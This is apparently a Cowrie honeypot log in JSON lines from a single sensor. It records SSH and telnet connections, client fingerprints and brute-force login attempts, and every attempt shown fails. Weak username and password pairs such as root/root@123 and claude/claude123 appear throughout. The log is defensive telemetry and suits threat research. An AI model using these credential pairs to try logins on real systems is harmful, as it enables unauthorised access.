{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58152,"dst_ip":"10.17.0.5","dst_port":23,"session":"79ba3d1bec32","protocol":"telnet","message":"New connection: 192.119.13.58:58152 (10.17.0.5:23) [session: 79ba3d1bec32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:28.470832Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:28.773140Z","src_ip":"45.153.34.112","session":"b87c42032fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32836,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b5cdca6586c","protocol":"telnet","message":"New connection: 192.119.13.58:32836 (10.17.0.5:23) [session: 5b5cdca6586c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:29.111766Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dick","message":"login attempt [root/dick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:29.165449Z","src_ip":"45.66.52.41","session":"04e6837af1d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:30.343769Z","src_ip":"45.66.52.41","session":"04e6837af1d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.4870069026947,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:30.688735Z","src_ip":"192.119.13.58","session":"c2f32bc44c31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40258,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ae02573312b","protocol":"telnet","message":"New connection: 192.119.13.58:40258 (10.17.0.5:23) [session: 0ae02573312b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:30.759862Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54440,"dst_ip":"10.17.0.5","dst_port":22,"session":"a06658a06b64","protocol":"ssh","message":"New connection: 45.153.34.112:54440 (10.17.0.5:22) [session: a06658a06b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:30.855184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:30.860477Z","src_ip":"45.153.34.112","session":"a06658a06b64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:30.944193Z","src_ip":"45.153.34.112","session":"a06658a06b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":55994,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2a96ec537da","protocol":"ssh","message":"New connection: 43.130.36.39:55994 (10.17.0.5:22) [session: d2a96ec537da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:31.109906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:31.114650Z","src_ip":"43.130.36.39","session":"d2a96ec537da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:31.183241Z","src_ip":"43.130.36.39","session":"d2a96ec537da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:31.199785Z","src_ip":"45.153.34.112","session":"a06658a06b64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.66409945487976,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:31.209963Z","src_ip":"192.119.13.58","session":"4584b03187c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42126,"dst_ip":"10.17.0.5","dst_port":23,"session":"fea8cb093fd3","protocol":"telnet","message":"New connection: 192.119.13.58:42126 (10.17.0.5:23) [session: fea8cb093fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:31.232137Z"}
{"eventid":"cowrie.session.closed","duration":42.865129709243774,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:31.324256Z","src_ip":"192.119.13.58","session":"39ab6e496329","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:31.489336Z","src_ip":"43.130.36.39","session":"d2a96ec537da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.19092679023743,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:32.204779Z","src_ip":"192.119.13.58","session":"9e422fd3618a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:32.322958Z","src_ip":"45.153.34.112","session":"a06658a06b64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:32.561075Z","src_ip":"43.130.36.39","session":"d2a96ec537da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.40860986709595,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:33.006526Z","src_ip":"192.119.13.58","session":"ec41947b0a03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54450,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4eb7b3d2f77","protocol":"ssh","message":"New connection: 45.153.34.112:54450 (10.17.0.5:22) [session: f4eb7b3d2f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:34.559177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:34.564672Z","src_ip":"45.153.34.112","session":"f4eb7b3d2f77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:34.653149Z","src_ip":"45.153.34.112","session":"f4eb7b3d2f77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:35.167092Z","src_ip":"45.153.34.112","session":"f4eb7b3d2f77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.122.127","src_port":42816,"dst_ip":"10.17.0.5","dst_port":22,"session":"1568557abca3","protocol":"ssh","message":"New connection: 43.173.122.127:42816 (10.17.0.5:22) [session: 1568557abca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:35.789668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:35.794071Z","src_ip":"43.173.122.127","session":"1568557abca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:35.861945Z","src_ip":"43.173.122.127","session":"1568557abca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nizar","message":"login attempt [root/nizar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:36.165494Z","src_ip":"43.173.122.127","session":"1568557abca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:36.251593Z","src_ip":"45.153.34.112","session":"f4eb7b3d2f77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:37.236259Z","src_ip":"43.173.122.127","session":"1568557abca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54460,"dst_ip":"10.17.0.5","dst_port":22,"session":"a477fe61bd56","protocol":"ssh","message":"New connection: 45.153.34.112:54460 (10.17.0.5:22) [session: a477fe61bd56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:38.405725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:38.410275Z","src_ip":"45.153.34.112","session":"a477fe61bd56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:38.492633Z","src_ip":"45.153.34.112","session":"a477fe61bd56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.76515460014343,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:38.679797Z","src_ip":"192.119.13.58","session":"d4fff6b4ef3c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:38.740411Z","src_ip":"45.153.34.112","session":"a477fe61bd56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:39.827643Z","src_ip":"45.153.34.112","session":"a477fe61bd56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.210986852645874,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:40.569985Z","src_ip":"192.119.13.58","session":"b62bee910001","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":36394,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d41c79aff06","protocol":"ssh","message":"New connection: 186.68.83.105:36394 (10.17.0.5:22) [session: 9d41c79aff06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:40.904935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:40.910051Z","src_ip":"186.68.83.105","session":"9d41c79aff06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:40.999463Z","src_ip":"186.68.83.105","session":"9d41c79aff06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dick","message":"login attempt [root/dick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:41.386610Z","src_ip":"186.68.83.105","session":"9d41c79aff06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54284,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce9fdb7590f5","protocol":"ssh","message":"New connection: 45.153.34.112:54284 (10.17.0.5:22) [session: ce9fdb7590f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:41.960903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:41.967028Z","src_ip":"45.153.34.112","session":"ce9fdb7590f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:42.097751Z","src_ip":"45.153.34.112","session":"ce9fdb7590f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:42.478770Z","src_ip":"186.68.83.105","session":"9d41c79aff06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:42.488308Z","src_ip":"45.153.34.112","session":"ce9fdb7590f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:43.576092Z","src_ip":"45.153.34.112","session":"ce9fdb7590f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45366,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c49ec24cded","protocol":"telnet","message":"New connection: 192.119.13.58:45366 (10.17.0.5:23) [session: 8c49ec24cded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:45.126204Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54286,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e08aaf75d46","protocol":"ssh","message":"New connection: 45.153.34.112:54286 (10.17.0.5:22) [session: 4e08aaf75d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:45.663534Z"}
